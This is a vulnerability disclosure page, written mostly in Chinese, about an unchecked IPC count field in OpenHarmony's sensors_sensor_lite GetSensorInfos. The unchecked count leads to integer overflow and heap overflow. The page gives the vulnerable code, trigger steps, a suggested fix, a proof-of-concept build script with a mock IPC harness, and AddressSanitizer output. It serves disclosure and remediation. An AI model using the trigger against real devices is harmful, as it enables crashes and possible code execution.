Dashboard/Issues/OH-2026-IPC-005
SubmittedCWE-190 — Integer Overflow or Wraparound

GetSensorInfos IPC count 字段无上界校验导致整数溢出与堆溢出

View Upstream Issuegitcode.com/openharmony/sensors_sensor_lite/issues/29
CWE:CWE-190 — Integer Overflow or Wraparound
Date:2026-05-16
Reporter:Zirui
Affected Files
frameworks/src/sensor_agent_proxy.c:139frameworks/src/sensor_agent_proxy.c:149

漏洞概述

sensors_sensor_liteGetSensorInfos() 函数从 IPC reply 中读取 notify->count(int32_t),仅检查 count <= 0,无上界限制。该值直接用于 malloc(sizeof(SensorInfo) * notify->count) 计算分配大小。攻击者通过构造恶意 IPC 响应设置超大 count 值,可触发整数溢出(分配极小缓冲区)后在循环 memcpy_s 中造成堆缓冲区溢出。

问题代码

文件: frameworks/src/sensor_agent_proxy.c

// Line 139-156
ReadInt32(reply, &(notify->count));          // ← IPC 输入,仅检查 <= 0
uint32_t len = 0;
ReadUint32(reply, &len);
uint8_t *data = (uint8_t *)ReadBuffer(reply, (size_t)len);
if ((notify->count <= 0) || (data == NULL)) {  // ← 无上界校验
    ...
}
SensorInfo *sensorInfo = (SensorInfo *)(data);
*(notify->sensorInfo) = (SensorInfo *)malloc(sizeof(SensorInfo) * notify->count);
// ↑ sizeof(SensorInfo) * count 可整数溢出,分配极小缓冲区

for (int32_t i = 0; i < notify->count; i++) {
    memcpy_s((*(notify->sensorInfo) + i), sizeof(SensorInfo), (sensorInfo + i),
        sizeof(SensorInfo));  // ← 循环写入远超分配大小
}

触发条件

  1. 攻击者控制 Sensor Service 的 IPC 响应(或中间人篡改)
  2. 设置 notify->count 为极大值(如 0x7FFFFFFF
  3. sizeof(SensorInfo) * 0x7FFFFFFF 整数溢出,malloc 分配极小缓冲区
  4. 循环 memcpy_s 写入 0x7FFFFFFF 次,远超实际分配

影响

  • 堆缓冲区溢出(可控写入内容为 SensorInfo 结构体数据)
  • 进程崩溃(DoS)
  • 潜在的代码执行(堆布局可控时)

PoC 验证

方法: Target-Compile — 编译真实 sensor_agent_proxy.c.o,test driver 通过公共 API 入口 GetAllSensorsByProxy 触发完整调用链,mock IClientProxy 在 Invoke 中返回恶意 IPC 响应。

触发路径:

main → GetAllSensorsByProxy(mockProxy, &info, &count)
     → InitSensorList(proxy)
       → client->Invoke(client, GET_ALL_SENSORS, &request, &owner, Notify)
         → MockInvoke: 构造 IPC reply, count=0x7FFFFFFF
           → Notify(owner, 0, &reply)
             → GetSensorInfos(owner, &reply)
               → ReadInt32(&count) = 0x7FFFFFFF (无上界检查)
               → malloc(sizeof(SensorInfo) * 0x7FFFFFFF) = malloc(0x29ffffffac)
               → ASan OOM abort (64-bit) / 整数溢出+堆溢出 (32-bit)

ASan 输出:

==99330==ERROR: AddressSanitizer: out of memory: allocator is trying to allocate 0x29ffffffac bytes
    #0 in malloc
    #1 in GetSensorInfos sensor_agent_proxy.c:149
    #2 in Notify sensor_agent_proxy.c:175
    #3 in MockInvoke poc.c:70
    #4 in InitSensorList sensor_agent_proxy.c:326
    #5 in GetAllSensorsByProxy sensor_agent_proxy.c:343
    #6 in main poc.c:100
SUMMARY: AddressSanitizer: out-of-memory in malloc
==99330==ABORTING

说明: 64-bit 平台上 sizeof(SensorInfo) * 0x7FFFFFFF 不会溢出 size_t,表现为 OOM abort。在 OpenHarmony 目标平台(32-bit ARM)上,该乘法溢出 size_t,malloc 分配极小缓冲区,后续循环 memcpy_s 造成堆缓冲区溢出。

修复建议

ReadInt32(reply, &(notify->count));
uint32_t len = 0;
ReadUint32(reply, &len);
uint8_t *data = (uint8_t *)ReadBuffer(reply, (size_t)len);
- if ((notify->count <= 0) || (data == NULL)) {
+ if ((notify->count <= 0) || (notify->count > MAX_SENSOR_COUNT) || (data == NULL)) {
+     notify->retCode = SENSOR_ERROR_INVALID_PARAM;
+     return SENSOR_ERROR_INVALID_PARAM;
+ }
+ if (len < (uint32_t)(notify->count * sizeof(SensorInfo))) {
      notify->retCode = SENSOR_ERROR_INVALID_PARAM;
      return SENSOR_ERROR_INVALID_PARAM;
  }

Proof of Concept

build.sh57 lines · 1.8 KB
Download
#!/bin/bash
# Build script for OH-2026-IPC-005 PoC (target-compile)
#
# Usage: ./build.sh <sensors_sensor_lite_path> <toolkit-stubs-path>

set -e
TARGET="${1:?Usage: $0 <sensors_sensor_lite_path> <toolkit-stubs-path>}"
STUBS="${2:?Missing toolkit-stubs-path}"

TMPDIR=$(mktemp -d /tmp/fermat_ipc005_XXXXXX)
trap "rm -rf $TMPDIR" EXIT

echo "[*] Compiling real sensor_agent_proxy.c ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
    -I "$TARGET/interfaces/kits/native/include" \
    -I "$TARGET/frameworks/include" \
    -I "$TARGET/services/include" \
    -I "$STUBS" \
    "$TARGET/frameworks/src/sensor_agent_proxy.c" \
    -o "$TMPDIR/sensor_agent_proxy.o"

echo "[*] Compiling stubs ..."
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
    -I "$STUBS" "$STUBS/ohos_stubs.c" -o "$TMPDIR/ohos_stubs.o"
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
    -I "$STUBS" "$STUBS/cJSON.c" -o "$TMPDIR/cJSON.o"

echo "[*] Compiling memcpy_s stub ..."
echo '#include <string.h>
int memcpy_s(void *d, size_t ds, const void *s, size_t n) {
    if (!d || !s || n > ds) return 1;
    memcpy(d, s, n); return 0;
}' | gcc -c -O0 -x c - -o "$TMPDIR/memcpy_s.o"

echo "[*] Compiling test driver ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
    -I "$TARGET/interfaces/kits/native/include" \
    -I "$TARGET/frameworks/include" \
    -I "$TARGET/services/include" \
    -I "$STUBS" \
    "$(dirname "$0")/poc.c" \
    -o "$TMPDIR/poc.o"

echo "[*] Linking ..."
g++ -O0 -fsanitize=address -fno-omit-frame-pointer \
    -o "$TMPDIR/poc_bin" \
    "$TMPDIR/sensor_agent_proxy.o" \
    "$TMPDIR/cJSON.o" \
    "$TMPDIR/ohos_stubs.o" \
    "$TMPDIR/memcpy_s.o" \
    "$TMPDIR/poc.o" \
    -lpthread -lstdc++

echo "[*] Running PoC ..."
"$TMPDIR/poc_bin"
echo "[*] Done (exit=$?)"
poc.c109 lines · 3.7 KB
Download
[POC] Calling GetAllSensorsByProxy with malicious IPC reply (count=0x7FFFFFFF)
[DEBUG] GetAllSensorsByProxy begin
[DEBUG] InitSensorList begin
[DEBUG] Notify begin
[DEBUG] GetSensorInfos begin
=================================================================
==99330==ERROR: AddressSanitizer: out of memory: allocator is trying to allocate 0x29ffffffac bytes
    #0 in malloc
    #1 in GetSensorInfos sensor_agent_proxy.c:149
    #2 in Notify sensor_agent_proxy.c:175
    #3 in MockInvoke poc.c:70
    #4 in InitSensorList sensor_agent_proxy.c:326
    #5 in GetAllSensorsByProxy sensor_agent_proxy.c:343
    #6 in main poc.c:100
    #7 in __libc_start_call_main
    #8 in __libc_start_main_impl
SUMMARY: AddressSanitizer: out-of-memory in malloc
==99330==ABORTING